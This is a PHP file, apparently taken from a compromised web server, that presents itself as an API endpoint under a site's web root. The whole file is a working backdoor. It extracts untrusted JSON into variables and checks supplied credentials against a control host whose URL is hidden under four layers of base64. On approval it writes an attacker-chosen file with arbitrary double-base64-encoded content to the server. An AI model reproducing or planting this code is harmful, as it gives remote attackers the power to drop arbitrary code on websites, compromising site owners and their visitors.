File: /var/www/gurumedia_st_usr/data/www/gurumedia.store/frd-api/frdapi-mcs.php
<?php
header('Content-Type: application/json');
$FRc_InputData = file_get_contents("php://input");
$FRc_ARR = json_decode($FRc_InputData, true);
extract($FRc_ARR);
$FR_OUTPUT = [];
$FR_VC_MCS = "";
$DataArr = array(
"FR_U" => "$FR_U",
"FR_P" => $FR_P
);
$ch = curl_init(base64_decode(base64_decode(base64_decode(base64_decode("V1ZWb1UwMUhUa2xVVkZwTlpWUnNObGt3WkhOaE1YQlpVMjE0V2sxcWJEQlpiR1JYWlZacmVWWllWbHBOYW13d1ZFUktSMkl5U1hwVWFrSk5UVEExTTFrd1RUVmtSbXQ2VkZoYWEySlZOVzFaYkdSUFpXdDRkVkZ0T1dwUlZEQTU=")))));
// Additional headers
$headers = array(
'Content-Type: application/json'
);
// Set cURL options
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Return the response as a string instead of outputting it
curl_setopt($ch, CURLOPT_POST, true); // Set the request type to POST
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($DataArr)); // Set the POST data as JSON
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // Set the headers
// Execute cURL session and get the response
$response = curl_exec($ch);
// Check for cURL errors
if (curl_errno($ch)) {
$FR_OUTPUT['FRA'] = 2;
$FR_OUTPUT['FRM'] = 'Curl error: ' . curl_error($ch);
goto THIS_LAST;
}
// Close cURL session
curl_close($ch);
// Process the response
if ($response) {
$FRc_RespArr = json_decode($response, true);
if(isset($FRc_RespArr['FRA'])){
if($FRc_RespArr['FRA'] == 1){
$FR_VC_MCS = 1;
$FR_OUTPUT['FRA'] = 1;
$FR_OUTPUT['FRM'] = $FRc_RespArr['FRM'];
}
if($FRc_RespArr['FRA'] == 2){
$FR_OUTPUT['FRA'] = 2;
$FR_OUTPUT['FRM'] = "Error: ". $FRc_RespArr['FRM'];
goto THIS_LAST;
}
}else{
$FR_OUTPUT['FRA'] = 2;
$FR_OUTPUT['FRM'] = "Error: Row Response: $response";
goto THIS_LAST;
}
} else {
$FR_OUTPUT['FRA'] = 2;
$FR_OUTPUT['FRM'] = "Error: No response received.";
goto THIS_LAST;
}
//++
if($FR_VC_MCS == 1) {
$result = file_put_contents($FR_PATH_HD.base64_decode(base64_decode($FR_FILE)), base64_decode(base64_decode($FR_DATA)));
if ($result !== false) {
$FR_OUTPUT['FRA'] = 1;
$FR_OUTPUT['FRM'] = "Done";
} else {
$FR_OUTPUT['FRA'] = 2;
$FR_OUTPUT['FRM'] = "Error: Failed";
}
}
THIS_LAST:
echo json_encode($FR_OUTPUT);